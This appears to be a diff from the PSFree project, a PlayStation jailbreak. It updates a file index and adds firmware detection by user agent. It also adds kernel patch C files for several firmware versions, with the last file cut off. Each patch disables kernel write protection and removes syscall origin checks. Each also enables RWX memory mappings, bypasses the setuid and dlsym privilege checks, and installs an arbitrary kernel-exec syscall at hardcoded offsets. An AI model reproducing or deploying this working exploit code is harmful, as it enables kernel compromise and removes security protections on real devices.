<td><a href="./psfree.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./send.mjs">send.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./send.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./scripts/lapse.mjs">scripts/lapse.mjs</a></td>
|
||||
<td><a href="./lapse/ps4/800.mjs">lapse/ps4/800.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./scripts/lapse.mjs" download>download</a></td>
|
||||
<td><a href="./lapse/ps4/800.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/800.mjs">rop/800.mjs</a></td>
|
||||
<td><a href="./lapse/ps4/850.mjs">lapse/ps4/850.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/800.mjs" download>download</a></td>
|
||||
<td><a href="./lapse/ps4/850.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/852.mjs">lapse/ps4/852.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/852.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/900.mjs">lapse/ps4/900.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/900.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/903.mjs">lapse/ps4/903.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/903.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/950.mjs">lapse/ps4/950.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/950.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
|
||||
@@ -72,9 +96,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="./module/int64.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/view.mjs">module/view.mjs</a></td>
|
||||
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/view.mjs" download>download</a></td>
|
||||
<td><a href="./module/mem.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
|
||||
@@ -82,9 +106,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="./module/memtools.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
|
||||
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/utils.mjs" download>download</a></td>
|
||||
<td><a href="./module/offset.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
|
||||
@@ -92,25 +116,49 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="./module/rw.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
|
||||
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/offset.mjs" download>download</a></td>
|
||||
<td><a href="./module/utils.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
|
||||
<td><a href="./module/view.mjs">module/view.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/mem.mjs" download>download</a></td>
|
||||
<td><a href="./module/view.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/800.mjs">rop/ps4/800.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/800.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/850.mjs">rop/ps4/850.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/850.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/900.mjs">rop/ps4/900.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/900.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/950.mjs">rop/ps4/950.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/950.mjs" download>download</a></td>
|
||||
</tr>
|
||||
</table>
|
||||
kpatch/ files:<br>
|
||||
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
|
||||
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
|
||||
<a href="./kpatch/800.c">kpatch/800.c</a><br>
|
||||
<a href="./kpatch/850.c">kpatch/850.c</a><br>
|
||||
<a href="./kpatch/900.c">kpatch/900.c</a><br>
|
||||
<a href="./kpatch/903.c">kpatch/903.c</a><br>
|
||||
<a href="./kpatch/950.c">kpatch/950.c</a><br>
|
||||
<a href="./kpatch/Makefile">kpatch/Makefile</a><br>
|
||||
<a href="./kpatch/80x.c">kpatch/80x.c</a><br>
|
||||
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
|
||||
<a href="./kpatch/types.h">kpatch/types.h</a><br>
|
||||
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
|
||||
fonts/ files:<br>
|
||||
<a href="./fonts/README.txt">fonts/README.txt</a><br>
|
||||
<a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br>
|
||||
<a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br>
|
||||
<a href="./fonts/README.txt">fonts/README.txt</a><br>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -66,5 +66,19 @@ export function set_target(value) {
|
||||
target = value;
|
||||
}
|
||||
|
||||
function get_target_from_ua(useragent) {
|
||||
const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/;
|
||||
const match = pattern.exec(useragent);
|
||||
if (!match) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (match[1] == '4') {
|
||||
return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`);
|
||||
} else if (match[1] == '5') {
|
||||
return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`);
|
||||
}
|
||||
}
|
||||
|
||||
export let target = null;
|
||||
set_target(0x800);
|
||||
set_target(get_target_from_ua(navigator.userAgent));
|
||||
|
||||
@@ -22,7 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<style>
|
||||
@font-face {
|
||||
font-family: 'logging';
|
||||
src: url('fonts/LiberationMono-Regular.ttf');
|
||||
src: url('./fonts/LiberationMono-Regular.ttf');
|
||||
}
|
||||
#console {
|
||||
font-family: 'logging';
|
||||
@@ -37,5 +37,5 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
source code and license.<br>
|
||||
<pre id='console'></pre>
|
||||
</body>
|
||||
<script type='module' src='alert.mjs'></script>
|
||||
<script type='module' src='./alert.mjs'></script>
|
||||
</html>
|
||||
|
||||
@@ -15,6 +15,8 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.00, 8.01, 8.03
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
@@ -138,7 +140,7 @@ void do_patch(void) {
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x951c0, 0xC3C03148);
|
||||
write32(kbase, 0x951c0, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
178
src/kpatch/850.c
Normal file
178
src/kpatch/850.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.50, 8.52
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x826ea, 0x37);
|
||||
write8(kbase, 0x826ed, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x14d6dd, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x17c2f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x3ad040, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x22f3d6, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10fc7d0;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
178
src/kpatch/900.c
Normal file
178
src/kpatch/900.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x16632a, 0x37);
|
||||
write8(kbase, 0x16632d, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x80b8d, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x23b67f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x221b40, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x1a06, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x1100520;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
178
src/kpatch/903.c
Normal file
178
src/kpatch/903.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.03, 9.04
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x1662da, 0x37);
|
||||
write8(kbase, 0x1662dd, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x80b8d, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x23b34f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x221810, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x1a06, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10fc520;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
178
src/kpatch/950.c
Normal file
178
src/kpatch/950.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
